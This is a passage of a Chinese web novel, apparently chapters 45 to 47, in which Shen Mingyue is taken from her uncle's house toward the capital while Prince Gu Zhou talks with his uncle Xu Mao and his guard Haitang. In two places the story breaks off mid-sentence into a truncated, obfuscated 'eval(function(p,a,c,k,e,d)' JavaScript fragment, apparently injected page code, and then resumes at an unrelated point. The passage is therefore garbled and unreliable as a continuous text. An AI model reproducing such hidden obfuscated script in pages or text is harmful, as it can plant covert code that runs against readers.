此刻,她本该平静安详,可心中却是悲愤激昂、感慨万千,与自己这短暂的人生做最后告别。 “明月此生,无畏生死、无愧家国,唯有三憾不能释怀,一为山河之沉疴,二为慈父之叛逃,三为挚友之背道。” 山河沉疴,需集整个民族之力挽救,非一人之力所能及,这重整河山之重任,只能交由万万千千的后辈来完成,她只恨自己未能看到红旗插遍华夏大地的那一日。 父亲叛逃,毫无征兆,当时沪上沦陷,母弟尸首未收,她父亲将她托付给军校的朋友后仓皇而走,未留下只言片语,若有幸在这地府相见,她定要问一问为什么。 挚友背道,她只能用沉重的叹息来慰藉,终究是自己太重情义,以为别人也与自己一样。 但潜意识中她竟然将顾洲视为挚友,这是她自己都没想到的。 呵呵,都无所谓了。 她闭上眼睛,静静等待十殿阎罗的审判,良久,耳边传来熟悉又陌生的女子声音。 “不是说醒来吗,怎么回事?” 她复而睁开眼睛,屋内似乎明亮了许多,一个大大的面庞正对着她,脸上的担忧都快掉在她脸上。 王夫人?怎么会是她! 她也死了? 可这女人温热的呼吸、转动的眼球,都表明这人还活着。 而自己躺在一架黄梨花木大床上,头顶鲛绡罗帐,身盖金丝牡丹纹样锦衾绣被,柔软的面料在烛火下流转着珍珠般的光泽,打了补丁的粗布衣衫也被换成了藕荷色蚕丝寝衣,触手柔软细腻。 离床不远的紫檀木香机上,鎏金兽首香炉正流淌出丝丝缕缕的淡青色暖烟,消散到空气中进入肺腑,是一股雅致的清新。 这真实的听觉、视觉、触觉、嗅觉,无一不再向她证明一个事实:她没有死。 “我到底死了没?” 她喉咙干涩,声带被撕扯着,发出的声音并不大,动了动身体,全身骨节似乎冻上了冰碴,嘎巴作响,隐隐刺痛。 “怎么会死呢?” 王夫人声音温柔,甚至带着些谄媚,眸中的光也由担忧转为惊喜,继而开始含泪,手一挥,接过婢女奉上玉碗。 用玉勺轻轻舀起淡黄色的汁液,送到沈明月嘴边。 沈明月下意识扭头,戒备地看着这个女人,心中惊悚起来,不会是那姓王的说动了他夫人,二人合谋将自己弄到家里吧。 王夫人将勺子往前送了送,解释道:“放心,这是我亲自蒸的川贝冰糖雪梨水,喝完嗓子就好了。” 沈明月不知她意图,稍稍侧了一下头,躲开玉勺。 王夫人并不气恼,似看小孩子淘气一般的无奈一笑,将碗交到另一个人手中。 沈明月只顾茫然,不曾留意这屋内还有许多人,目光随着碗移动到另一个女人手上,这双手虽然白净,指节上却有着记录岁月的条纹,而这个女人身着的墨绿色衣裙,面料做工不输王夫人的烟紫色缎面绸衫。 目光沿着女人月白色的交领向上,常嬷嬷似笑非笑的面孔进入眼帘。 这着实能让人吃一大惊! 怎么会这样?还有比这更讽刺的事情吗?兜兜转转又回到原点,接二连三的“惊喜”让沈明月不知该如何接受,感觉还不如真死掉算了。 常嬷嬷不知大姑娘心中所想,看着姑娘空洞的眼神和麻木的神情,只当是姑娘心中不愿。 她可是被大姑娘害惨了,主君得知人丢了,将她丈夫,柳府官家安寿,痛打了二十板子,撤了管家之职。 但鉴于此事需保密,主君命他们将功折罪,带领几个签了死契的仆役出门寻人,他们一家身契皆在柳府,又有子女留在府中为质,不敢不尽心。 眼见朝中再次将婚事提起,主君下达最后的命令:“人找不到,你们一家也不用回来了。” 性命攸关时刻,居然在安山发现线索,一只大夫人留下来的耳坠子,她狠狠给佛祖磕了几个头。 此番虽幸运,能够死里逃生,但她仍未改颐指气使的态度:“大姑娘,可让老奴好找,不想姑娘竟是投奔舅舅而来。” 舅舅? 沈明月恍惚间记起了许多事情,莺儿说过,柳慕云的舅舅就在安山。 柳慕云母亲姓王,所以,王老爷就是柳慕云的舅舅? 哈哈,真是天大的玩笑。 不过刹那,她便明白其中因果,但想到莺儿,再顾不地去深入研究,试图将头抬起来,迫切地问道:“莺儿在哪?” “那贱婢教唆姑娘出逃,将姑娘害成这样……也是报应,老天爷惩罚她,已经死了。” 常嬷嬷略带得意地笑着,仿佛这个人死了就解了心头大恨一般。 死了?不可能!上马车时还有口气,这才过去了多长时间,还能救。 凉意自心底而起,借着悲痛的力量,沈明月起身揪住常嬷嬷的衣领,将她推倒在地。 梨汤洒在氍毹【2】上,没有迸溅水滴,玉碗碎成几瓣,发出清脆的声响。 “你们竟敢这样!带我去找人,我生要见人,死要见尸!” 沈明月声音嘶哑,喉咙间充斥着铁锈味,一口气在胸膛内激荡,寻不到出路,她几乎要晕厥,四肢脱力。 周围的婢女慌乱起来,有人来扶摇摇欲坠的沈明月,有人去扶摔倒的常嬷嬷,而王夫人见如此状况,跟着慌张了几下,赶紧带人去正堂请老爷。 正堂内,王老爷坐在主位上,用帕子擦了擦额头的汗珠,对下首之人做了个请的动作。 下首的安寿端起茶杯,轻松地说道:“多亏了舅老爷相助,不然也不能这么顺利地找到大姑娘,辛苦舅老爷跑了这一趟。” 安寿是今日午后才赶到王家,将大姑娘画像展开,舅老爷只看了一眼,就立即带人出去。 王老爷心有余悸,当画像徐徐展开,露出女子柔美的容颜时,他早已吓得魂飞魄散,那上面画的,分明是凶神恶煞。 所以他不敢停留,生怕露出破绽,直到坐在了马车上,双腿还是不住的颤抖,所幸顺利将人找到。 他稳了稳心神,也端起茶杯饮了半口,“哪里的话,说来也真是巧,此前在慈恩寺就觉得她眼熟,只是一时没想到是自家外甥女。唉,说来惭愧,我与姐姐多年未往来,连姐姐故去也不知情,这个外甥女更是见都没见过。” “舅老爷莫要自责,原也是大姑娘被老爷娇纵惯了,半年前受些委屈,就在婢女的撺掇下跑出来,径直投奔舅老爷。” “这孩子胆子也是大,经年累月的,安山地界变化太大,我也置了新宅子,才让外甥女流落在外。” “怎的算是流落在外呢?舅老爷不是说姑娘一直在慈恩寺抄经吗?” 安寿这话拖着不长不短的尾音,看似疑问,却带着十分的肯定,提醒着上座之人说话要谨慎。 “是,是……外甥女半年前到了慈恩寺,以替人抄经为生,那寺中女尼见她写字规整,便举荐到我夫人跟前,替我与夫人抄了半年的经文,积了不少功德,才让我们舅甥得以团聚。” 半年,寺庙,女尼。 这几个词语让安寿感到满意,捋着胡子点点头,心想这舅老爷倒是有几分聪明,这样一来,即便是大姑娘走失的消息泄露出去,也有人证、物证来证明姑娘的清白。 “怪不得舅老爷一见画像,就知道去哪里寻人,原来是有这个缘分。” “血脉亲情,自然断不了……” 王老爷面上笑着,袖中的手掌上的汗却出了一层又一层,心中默念几遍“罪过”,万分庆幸那晚没有酿成大错,自己挨的那顿打也是活该。 “当时只觉得是缘分,今日一见那画像就更加确定,我这外甥女与长姐肖似……只可惜我姐姐已经不在了……她定然是还未能原谅我……” 王老爷抬袖,掩面欲泣。 “也是我不争气,功名功名没考生,家业家业没守住,令姐姐姐夫失望了。” 安寿象征性地劝慰了几句:“舅老爷节哀,都是陈年往事了,亲姐弟之间哪里有真仇。” 看着眼前人声泪俱下、委屈不尽,他端起茶杯大饮一口,遮住向下撇的嘴角,用茶水将心中的鄙夷压下去。 好像谁不知道当年之事似的! 这王老爷本名王怀,王老太爷去世后,由族中人出面,将他过继到了王老太太名下,他前两年还对老太太恭恭敬敬,待得知老太太欲将家产一分为二,留给女儿、儿子各一半后,露出原本面目,逼死老太太,独占家产。 王氏得知消息,舍下生病的幼子,回娘家奔丧并讨要家产,可王怀与族中人串通一气,王氏不仅没有得到家产,甚至连葬礼都没让她参加,愤怒归来,才知幼子已夭折。 接连失了两个骨肉至亲,且都没见到最后一面,这事放到谁身上都是蚀骨之痛。 彼时柳公权将心都放在妾室李氏并二女儿身上,不仅没有安慰王氏,反而斥责她未能照顾好幼子。 王氏一气之下与娘家断了联系,与柳公权大吵一架后,与带着大女儿回了营州老宅, 安寿知这舅老爷不是个善茬,但也只能陪着他将这出戏唱下去,带着大姑娘平平安安、顺顺利利归京才是要紧事。 此前安寿也提议过通王怀来找大姑娘,但柳公权深知此人的品行,终觉不妥,担心他会以此为要挟,向柳家要钱又要官。 只是大殿下传出回京的消息,婚期在即,无奈之下才找上了王家大门。 “我知姐姐心中怨我,连带姐夫都看不上我,想当初姐夫家中并不宽裕,若非我父亲解囊相助,他又怎能取得功名,步入仕途。” 王怀掸了掸衣摆上的灰尘,意味深长地看了安寿一眼。 这话中之音,安寿如何不明白,可大姑娘刚刚被找回,还未分辨真伪,他就揭短想要好处,真是一点远见都没有。 再者周济主君一事是王氏父母所为,与这人可没有半文钱关系。 “舅老爷此话就错了,我家老爷在任上,无圣诏不得离开,日日忙于公务,实在身不由己,但年节上也时常念叨起太公与太夫人来,还疑惑舅老爷是不是忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王夫人在家虽强势,但在处理外事上依旧要王怀做主,她依言带人去抬了那小丫头,送到外甥女房中。 到时只听里面哭喊声一片,掀帘而入,见外甥女用碎瓷片挟持着王家婢女,要求见莺儿。 常嬷嬷却不在意,依旧对大姑娘威逼利诱,企图喝止她的行为。 这一幕才让王夫人理解王怀的做法,心下生出佩服,若是闹出人命来,柳家一走了之,这祸事将全落在自家头上。 她忙上前劝解,“外甥女快放手,小心伤了自己,我已将人带来。” 两个力壮的婆子抬着莺儿进来,放到美人榻上,沈明月果然松了手去看莺儿。 莺儿费力地抬起眼皮,做出一个“姑娘”的口型,她面色虽白,但已不是土灰色。 手上传来的温度,融化了沈明月冰冷的绝望,她用舌尖抵住发颤的上颚,被震碎的字句如珍珠掉地,惊破了凝滞的空气。 “没事了,莺儿,没事了……” 王夫人听着这如同枯叶被踩碎的凄凉之音,鼻子微微发酸,赶紧命众人散了,上前抚着沈明月的背说道:“外甥女快别哭了,人都救回来,该高兴才是……我准备了吃食,外甥女随舅母去用些。” 在她的一番安排下,房中恢复如初,好似什么也没发生过,沈明月吃了一碗粥后被送进浴房。 常嬷嬷并两个婢女仔细检查了她的身体,连□□都没放过,而这才是她们的真正目的,确定大姑娘的完璧之身。 沈明月只觉自己像案板上待宰的鱼,她没有反抗,咬牙记下了这份屈辱。 此前常嬷嬷以为眼前之人还是柔弱的性子,所以用原来的法子来对待,现在见识到大姑娘的真性情,便也改了法子。 她翘着嘴角为大姑娘擦洗后背,“老奴瞧着莺儿还未脱险,若是请京中的郎中瞧瞧,兴许好得快些。” 沈明月不与她兜圈子,“常嬷嬷就别绕弯子了,不就是想让我痛快地跟你们进京吗?只要能救活莺儿,我跟你们回去。” “大姑娘果然识大体,姑娘放心,主君是姑娘父亲,自然不会亏待姑娘。” 常嬷嬷担心大姑娘再逃跑,没提及回京之后的事。 沈明月也没有再问,此后,不论生活喂给什么,她都要嚼碎了咽下去,等待强大之时,一并还击回去。 浸泡在水中的躯体,像沉船一样陈旧、死寂,毫无生机,在光线到达不了的地方,暗自悲伤着、彷徨着。 她的沉默,是无声的妥协。 三日后,安寿卸下了半车的东西给王家,算是封口费,王夫人流着泪、带着笑将外甥女送上马车,而王怀心中的一块大石头就此落地。 队伍出发,外面的风声越来越紧,车厢和棉帘子为沈明月隔出一方安静的天地,莺儿正枕在她腿上,呼吸均匀。 她掀开帘子,看漫天飞雪扫荡着山野和村庄。 这去京城的路可真是漫长啊! 从出发时的春寒料峭、残雪未消,到现在的朔风凛冽、山寒水冷。 侍从们立刻感知到这点动静,不敢怠慢,“姑娘,可有吩咐?” 她没有说话,放下帘子,感到无边的迷惘和无言的绝望,有些无从说起的东西正在搅乱今后的人生。 车轮滚滚向前,在苍茫的官道上留下显眼的车辙。 印记又长又远,中间被一阵杂乱的马蹄截断。 马背上,披着白色斗篷的人拿出炭笔,在字条上写下了一串特殊的字符。 46. 盼归 邺京,皇宫后苑。 齐帝顾崇正立在群芳榭中,漫不经心地将几颗鱼食投入水中,几尾锦鲤争先恐后地抢夺起来,他满意一笑,抬头见不远处,安国公正一瘸一歪地朝这边走来。 “臣徐茂恭请陛下圣安。” “平身。”顾崇示意中官将人扶起,“来人,赐座。” “谢陛下!”徐茂借着中官的力道起身。 “爱卿这腿疾怎么又严重了,回头朕命太医去给你瞧瞧。” 顾崇看着他的动作十分吃力,将鱼食罐子抬了一下,立即有中官上前双手接下。 徐茂看着圣上落座后,也落了座,手揉着膝盖,说道:“微臣先谢过陛下,臣老了,不中用了,这两年上腿犯得愈发频繁,一到阴天下雨时更甚,等过几日天晴了自会好些。” 他这腿伤是为顾崇挡暗箭而留,草草包扎后就去追剿叛军余孽,因而耽误了治疗,落下残疾。 “来人,将暖炉搬近一些。”顾崇心中有些动容。 两个小中官上前来搬暖炉,待他们退下后,顾崇又开口。 “天冷了,爱卿自己要注意,咱们真是老了,还记得当年在幽州,与朕一起喝酒的几个兄弟,就剩下你和老韩了。” 徐茂赶紧起身行礼,“臣惶恐,不敢与陛下称兄论弟,韩将军与臣年长于陛下,因此敢称老,而陛下正值盛年,定会万寿无疆。” “你呀你……”顾崇伸出一根手指在空中点点他,摇着头笑道:“朕的大舅哥也学会恭维了?今日无外人,不说那些虚的。” “臣此言非虚,老韩的孙儿都能提动长枪了,若是子明在的话,臣也该当祖父喽。” 徐茂坐回原处,虽是玩笑的语气,可眼底却是混浊的悲伤,微微低头藏起没有焦点的目光,似乎在回忆一个又一个孩童的面孔。 徐氏家族虽大,子嗣却不多,他与夫人孕育几个孩子,可惜都是幼年夭折,好不容易有一个长到十二岁上,也被一场瘟疫夺去了性命,这个孩子就是徐子明。 提到徐子明,自然而然地就让人想到顾洲,这两个孩子年岁相当,在狗的嫌弃的年岁里,没少在一起调皮捣蛋。 “是啊,子明比承平还年长三岁……”顾崇语气中也带上了些许伤感,“对了,承平昨日归京,你可见到他了?” “还未。” 徐茂虽然有准备,但还是神经紧绷了一瞬,做了个收腿的动作来掩饰。 刚才他的每一句话,都在将话题往顾洲身上引,他只是看不穿圣上这随口一问,是无心还是有意。 他深知圣上脾性多疑,近年来也越发严重,顾洲回来后,一定派人监视其动向,若还没见过圣驾就去见其他大臣,定然会引起圣上的疑心。 所以他今日安排夫人方氏,打着探望大殿下伤势的借口去了顾洲府上,不料前脚安排完,后脚宫中就有中官来传旨,宣他觐见。 当得知觐见之地在后苑,而不在建章殿时,他就想好了应对之策。 “唉!”顾崇起身继续观鱼,“承平现在也就还能听听你的话,跟朕较了这么长时间的劲,你一封信就说服他归京,还是真是娘亲舅大呀!” 徐茂紧跟着起身,站到圣上身侧微微躬身,“陛下可太高看臣了,大殿下归京哪里是臣能说动的,若不是贱内令手书一封夹在信封中,只怕大殿下也要与臣较劲了。” “哦?”顾崇带着怀疑和好奇的目光,侧头看了他一眼。 徐茂从容回答:“正是,陛下也知,贱内与皇后娘娘曾是闺中密友、亲如姐妹,贱内便在信中抬出娘娘来,苦口婆心劝说了一番,这才令大殿下迷途知返。” 提到徐娴,顾崇身形一顿,重重地叹息一声,坐回原位后,带着些许怅惘说道:“是朕没保护好娴儿,朕有愧于她。” 一句“娴儿”,徐茂便知牵动了圣上的心软之处,这两个字,他已经有十几年未从圣上口中听到过了,如今这一声中带着的是无限惋惜。 “陛下勿要自责,要怪就怪臣没能及时找到娘娘,当时时局混乱,能活下来已是万幸……若娘娘在天有灵,看到承平能为陛下分忧,也就安心了。” 无需徐茂多言,顾崇当然不会忘记,当年与亲弟弟顾简的夺位之战是何等惨烈,但凡他下手软一些,或者慢一些,现在站在这里的人都不会是他。 徐茂也不敢多言,继承大统终是要讲究名正言顺,而眼前这位陛下,杀弟弑君夺位,没有一件是光明的,坐稳帝位后,第一件事便是用生杀予夺之权,来掩盖、淡化曾经不光彩的来路。 近些日子来,顾崇因着顾洲的缘故,总是不经意间想起徐娴,随着年岁渐老,故人的身影在记忆中越发美好而深刻。 曾经,徐娴拼死保护了他的滴长子,而他却怀疑她不忠。 但思念归思念,他对这位皇后,虽有愧疚,却无悔意,即便是知道是冤枉了她,他也不能让顾家血脉有掺假的风险。 一条鱼儿跃出水面,溅起的水花声,打破了君臣之间的沉默。 最终顾崇开口,“承平为朕分忧,自然该赏,朕原本想将这封号改一改,但圣旨已经写好,就不再重写了。” 徐茂听完,愣了一瞬才跪拜下去,深深叩首道:“陛下英明,臣替皇后娘娘和大殿下谢陛下隆恩。” 今日他所求,为顾洲封王是其次,保住这个封号才是首要,若没有这个封号,这王封不封没什么意思。 《盘庚》有言:绍复先王之大业,厎绥四方。【1】 绍,是为继也。 此番暗斗,徐茂的目的已达到,不管圣上是想找个台阶下,还是看在先皇后的面子上,又或是看在大殿下军功的面子上,这个名号都算是稳了。 谈话适可而止,齐帝体恤安国公腿伤,特赐软轿送他出宫,到宫门口换乘马车时,徐茂当着送行的中官吩咐侍从:“回去告诉夫人,我先去趟兰因阁,晚些回去。” 中官听了,皆暗暗称赞,兰因阁是京中最大的花坊,而国公夫人素日里最喜侍弄花草,国公此去是挑选花草讨夫人欢心。 那侍从匆忙赶回国公府,得知夫人出门,问明去向后,又一路赶到大殿下府上。 大殿下府上正堂内,顾洲正陪方氏说话,方氏看着他转了两圈,又捏捏他的肩膀和胳膊。 顾洲看出她的意思,硬扶她坐下,笑道:“舅母放心,伤都好了,没落下一点病根,连疤都没留。” 说完亲自奉上茶盏,“我昨日下了帖子,打算明日去见舅父,怎么舅母亲自来了?” 方氏顺手接过,“你舅父说,让你在家专心准备婚事,等婚后再带着新妇去见他。” 提到新妇,方氏想起了什么,不满地说道:“你这孩子,老实交代,怎么这样快就转了性子,莫不是跟舅母藏心眼儿呢?” 顾洲心虚,不自觉清了清嗓子,“怎么会,是我一时糊涂……让舅舅和舅母担忧了。” 方氏叹息一声,瞧着四下无人,语重心长地说道:“洲儿,我也知情丝难断,你若有什么难处只管跟舅母说,舅母帮你想办法。” “舅母放心,这门婚事是天子圣旨,亦是父母之命,我不会违逆。” “这就对了……”方氏面露欣慰之色,随后又犯起愁来,“说起柳家大姑娘,自打进京后就一直卧病在床,听闻谁去瞧都不见,倒是个骄矜之人。” 顾洲低头一笑,沈明月是什么人,他还不清楚吗? 其中原因他无法说明,只向方氏承诺,“舅母放心,不管她是如何之人,既与我成婚,我自会真心相待。” “好,好……洲儿果然长大了,我只盼着以后你们夫妻和顺,早些开枝散叶。” 方氏看着顾洲的懂事,不由得又想起徐娴,但见大殿下开心,知道不该说出不合事宜的话,便将感慨咽了回去。 二人正说笑间,徐铭在门口 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徐铭得意一笑,觉得自己真是聪明。 “这信该是海棠收的,怎么会在你这里?” “哼!海棠她非要等着国公夫人走了再交给您,那不就耽误大事了吗?” “的确是滑头!”顾洲说着打开字条,上面是由短横和点组成的一串字符。 徐铭侧目偷窥,而顾洲没有避讳,看完后直接将字条给他。 “沈先生已经在路上了?”徐铭眼中的笑意藏不住,自打他进来书房,这嘴角就没下来过。 顾洲拿过字条,放到案几上,调侃道:“只怕你盼的不是你的沈先生,而是某位姑娘吧!” 心事被戳穿,徐铭的耳廓逐渐泛红,“不是,是盼沈先生。” 随后又觉得不妥,沈先生即将成为大殿下正妻,真正盼着沈先生的是大殿下,他这样说就是僭越,一时又不知该如何回答,支支吾吾地改口:“也不是……我就是……高兴。” 顾洲见他怯不开,将他支了出去,也是为自己留出欢喜的空间,他看着字条,眸中带上了未曾有过的憧憬之情。 沈明月就是柳慕云,柳慕云是他的未婚妻,所以他的未婚妻就是沈明月。 他不确信地将关系再捋顺一遍,生怕中间出一点差错。 自从海棠带来这个消息,他心中就开始期盼,热烈的期盼与沈明月再见,这期盼像一颗种子,在春日里最温暖的阳光下生根发芽、抽枝展叶,即将盛开出最美的花朵。 “突遇风雪、车马迟缓”,几个隐藏在点横之间的字,勾起了他的担忧,她在路上千辛万苦,而他只能在这里等待。 顾洲沉浸在自己的情绪中,全然没有注意门外的争吵。 书房门口,徐铭拦住海棠,海棠换另一边走,他又堵到另一边,就是不让她入内。 “怎么?还不跟我说话?” 海棠只给了他一个白眼。 “我知道你对我放走沈先生一事不满,但现在不是找到了吗?沈先生就是殿下的未婚妻,以后都是一家人了,你还跟我较什么劲!” “你哑巴啦!天天板着一副苦瓜脸给谁看?叫我一声‘小爷’,我就放你进去。” 徐铭高兴过了头,一副得意洋洋的模样,可下一刻就被海棠一拳打回原形,他身体向后撞在门板上。 “你,你……偷袭!” 徐铭万没想到海棠会动手,脸疼得连话都说不利索。 海棠没有给他反应的机会,三招之内将其制服,她对徐铭的招数了如指掌,知道他的弱点在哪里。 徐铭被压着膀子嗷嗷直叫,其实也没有多痛,只是想引起屋内人的注意。 屋内人终于发话:“都给我滚进来。” 47. 敲打 二人跪在书案前,徐铭擦掉嘴角的血迹,捂着几乎被打歪的下巴,委屈满满。 而海棠挺着脊背,目光低垂,等待上首之人发落。 顾洲坐在书案前,目光扫过下面的二人,才发觉他们似乎已经很久没一起出现在自己面前了。 他饶有兴致的问道:“说吧,怎么回事?” “是她……”徐铭先开口,却不知要作何指责,只重重“哼”了一声侧过头去。 他又问:“海棠,你说?” 海棠张张嘴,欲言又止,最终只说道:“侍卫互殴,不论缘由,各处鞭刑十记,请主上责罚。” 见这二人谁都不服、谁也不说,顾洲便知还是因为徐铭放走沈明月一事。 总这样下去也不是办法,需想个法子调解一下矛盾,解铃还须系铃人,这事还要从根上解决。 他先问徐铭,“徐铭,安庆的事,是海棠冤枉你了吗?” “没,没有,但属下已知错,殿下也已经惩罚过属下了。” “背主就是背主,哪那么多废话。” 海棠三分怒意,七分不满,她虽未抬头,却让徐铭感受到了十足的鄙夷。 “我没有!我不是!我是为了沈先生……”徐铭转过头怒视海棠,任凭自己怎么解释,对方就只以“背主”这二字来回应。 声音太大吵得海棠耳朵疼,她默默咬牙,攥紧拳头。 “行了!” 顾洲将镇纸重重一放,似泼了盆冷水,扑灭满地的硝烟,为这件事下了定论。 “当时情况复杂,徐铭是为救人,也不算背主,你们两个以后谁都不许再提起此事。” “今日的责罚就免了,别忘了现在是在京城,情况比营州复杂,今日这样的事,以后再发生,严惩不怠。” “是!”二人异口同声。 顾洲起身,拿着字条走向暖炉,“徐铭,给你三天假,回去瞧瞧你母亲,将北境带回的药材补品给她拿些去。” “是,殿下,属下代母亲谢过殿下。” 徐铭心思没那么重,好似忘记了刚才的事,也忘记了脸疼,痛快地磕个头,起身退了出去。 说话间顾洲已走到暖炉,欲将字条燃掉,当看到上面代表“沈明月”的符号,又收回手。 “当断不断,必有后患。” 海棠清冷的声音响起,似有不甘。 顾洲怔了一下,转身看向她,“你想说什么今日一并都说出来。” 海棠深吸了一口气,似乎是下了决心,叩完首后说道:“主上恕罪,海棠斗胆劝主上一句,不要被沈明月所迷惑,此人满口谎话,疑点颇多。” 顾洲虽然不想听,但若不让她说出来,只怕依她的性子,还会继续去查,于是示意她继续说下去。 “属下知主上现在心中只有沈明月,但请主上冷静想想,当初她们被困军营、性命堪忧,为什么不将身世告知,户部侍郎家的女儿,换做是谁都会给几分面子。” “她曾说自己的母亲与弟弟一起死于战乱,可柳家主母是病逝,柳家独子也是幼年亡故,死者为大,可她却连这都编造。” “还有她的学识,不像是闺阁女子所学,属下钻研过密信书写之法,“六爻法”从未有过类似的记载;她的功夫,拳法与脚步配合,招数诡异,不知是出自什么门派……” 海棠越说越急切,甚至担忧这场婚事都是个圈套,极力想要说服主上,甚至抬头直视,“还有她的名字……” “海棠!” 顾洲沉声打断她,眸色微冷,压迫感如潮水般逼过去,其中是无声的警告。 海棠神情一滞,才察觉这犯上之举,立即叩首:“请主上责罚。” “你的怀疑有道理,也没道理。言行、学识异于常人,的确可疑,但她在军中之时,可曾对我、对军队、对大齐有过什么危害之举?你们用“六爻法”传信,可有泄露之时?你说她另有目的,那目的是什么?” 海棠沉思一下,摇摇头,她之所以怀疑,是担心沈明月是秦王或者晋王安插的人,但却查不出任何线索,甚至后来连柳家一并查了,也没有任何迹象能证实她的疑点。 顾洲继续说道:“海棠,你们也相处过一段时间,对她的脾性也该有了解,她本就是逃婚,将死之刻都没有自报家门,可见已与柳家决裂,她是要强之人,但凡有一线活下去的希望,都不会放弃……” 顾洲说着,有片刻的恍惚,河边那抹柔弱的身影又浮现在眼前,那时他怎么也没想到,这抹身影站起会是如此强大、坚韧,逐渐成为他的魂牵梦绕。 他晃了晃神,把思绪收回来,“你不插手军中之事,可能不了解,此番若没有她相助,北境之围难解,甚至我都不一定能回来。” 顾洲将字条再看一遍,之后投入暖炉,火苗从纸边缘开始燃烧,逐渐吞掉黑色的字迹,化为一片柔软的灰烬。 “她叫什么名字不重要,重要的是,她现在是我的未婚妻,也是你未来的女主人,记住了吗?” 顾洲这几句话虽有着询问的语气,却是不容抗拒的命令。 “是……属下谨记。” 海棠喉咙滚动一下,将不甘尽数收起,听着脚步声一点点靠近,在适当的距离停下,头顶上的声音缓和了许多。 “还有你,海棠,要一直这样下去吗?别将自己捆得太紧,可以试着去相信别人。” 相信? 海棠直起上身,垂着眼睑沉默不语。 她曾相信过父母,可灾荒面前,他们毫不犹豫卖了她;她也曾相信过一个男人,可下场又是什么?比杀了她还痛苦千倍万倍。 闭上眼睛,是黑压压的人影向她扑来,真想将痛苦的记忆从脑中剔除,但伤害已刻入骨血,像恶魔一样,永远如影随形、纠缠不休。 她努力平稳着呼吸,可沙哑的音色还是出卖了她的情绪。 “属下……只相信主上一人。” 顾洲听出她的苦楚,也知很难说动她,便转了话题,“去换身衣服,随我出去一趟。” “是……” 不用主上明说,海棠自然知道该换什么样的衣服、要去哪里,这是她们之间的默契。 一番收拾准备,乘车行至偏僻地,海棠下车,而顾洲继续前进。 红日西沉,橙红色的晚霞为三百余里坊【1】罩上一层薄纱,突兀横出的飞檐下飘着各色店肆招牌的旗番,川里不息的行人自觉为粼粼而来的马车让路, 京都的繁华已经开始,处处灯火高张、人声鼎沸,尽显泱泱盛世的繁荣富裕。 马车在媚春楼停下,跟随的暗卫早已没入各个角落,顾洲从容下车,手中多了一把折扇。 这是纨绔子弟的标志,不论冬暖夏凉,手中都要拿着一把。 媚春楼虽不是京城最大的酒楼,却是文人墨客、富贵之家的聚宴之地。 不待人前进,自有楼中小厮出来引人,迈过门槛,便如踏进水月洞天之地,可谓是: 楼上楼前尽朱翠,星桥影幌乾坤动。 炫转荧煌照天地,火树银花触目红。【2】 一弯流水绕堂而过,将大堂分成几个区域,中间由小拱桥连接,顾洲由小厮引着来到了一处亭子间,昨日收到帖子的几个人已在内等候,见他到了后纷纷起身行礼。 这些都是京中有名的纨绔,他今日来宴饮不过是为了维护之前浪荡子的名声。 老鸨见主要人物已到,立即吩咐人温酒上菜,又安排了数名乐妓、舞姬助兴。 一时间,丝竹声起,众人开始互相恭维吹捧,杯盏交错间,酒香混上了脂粉香,弥漫出奢华与放纵的味道。 四周琉璃灯发出的暖光,为众人在暗夜中隔绝出的这一方天地,逐渐被欢乐和欲望填满。 顾洲身边的人自然是海棠,她从后门进入,混入舞姬中间。 酒过三巡,席上已有人蠢蠢欲动,但碍于大殿下未离席,不敢造次,可手脚已开始不安分。 大殿下设的筵席,媚春楼哪敢不尽心,安排的女子都是绝色,一颦一笑间就能将人的魂儿勾走,这群青年人早已是□□焚身。 见时机已到,顾洲装作醉酒,由海棠扶着离开,前脚迈出亭子,后脚里面就传来了粗重的喘息声和女子娇呼声。 顾洲的手虽虚揽着海棠,但还是感觉她身体在微微颤抖,待转过弯,他松了手,海棠也自觉地慢下一步跟在他身后。 侍卫已在约定好的地方等待,接过大殿下手中折扇,为其除下身上装饰,换掉气味杂糅的外袍。 顾洲命海棠回去休息,带着两个侍卫穿门过巷,到了一处隐秘的院子。 推开正堂的门,徐茂正在坐在案几前,左手握书、右收执棋,凝神研究着棋盘上的《孙策诏吕范弈棋局》。【2】 门轴转动声打断了徐茂,他抬头见到来人后赶紧行礼,“老臣见过大殿下。” “舅父,该外甥给舅父行礼。”顾洲说着也行了一礼。 “王侯在国公之上,这礼该老臣为殿下而行。” “舅父这是何意?”顾洲扶起徐茂,请他坐下。 落座后,徐茂才说道:“今日圣上召见臣,得知圣上已经决定封殿下为绍王,不日就会传旨,昭告天下。” “圣旨一传,殿下会是整个邺京的焦点,加上之后的赐婚,殿下可要占尽邺京的风头了,但殿下需知,荣宠越盛,危险越多,日后需谨慎行事。” 顾洲捏着一粒白子,思忖着最后几个字。 谨慎行事! 安庆之战的军功已令有些人不满,细作一事就是证明,虽未查出背后之人是谁,但无外乎秦王与晋王。 若不是因退婚一事惹得圣上大怒,抵消了军功,不知他二人还会在背地里出什么损招。 还真是阴差阳错。 他正想到此事,就听徐茂也提到此事。 “殿下归京,真的是因为臣的那封信吗?” 徐茂的手停在半空,等待答案,在这时间里他竟有些紧张,既想得到肯定的回答,又想得到否定的答案。 他希望自己的话有力度,但更希望顾洲是有心智坚定、有主见之人。 “我看到信时已经离开营州大营。” 顾洲如实回答,信到营州后,徐铭因海棠在没有及时将信上交,而他正沉浸在找到沈明月的喜悦之中,见到徐铭后,随后将信一放,立即吩咐他去准备出发。 徐茂点点头,但还有些不死心,“这退婚一事是殿下故意为之?还是另有其因?” 顾洲目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在想想,若沈明月不是柳慕云,他也不该留在营州,而是该回京,坐稳亲王的位置,才能去保护、去弥补所爱之人。 徐茂看着大殿下若有所思,以为他听了进去,知道了其中的利害关系,是时候将一些事情告诉他了。 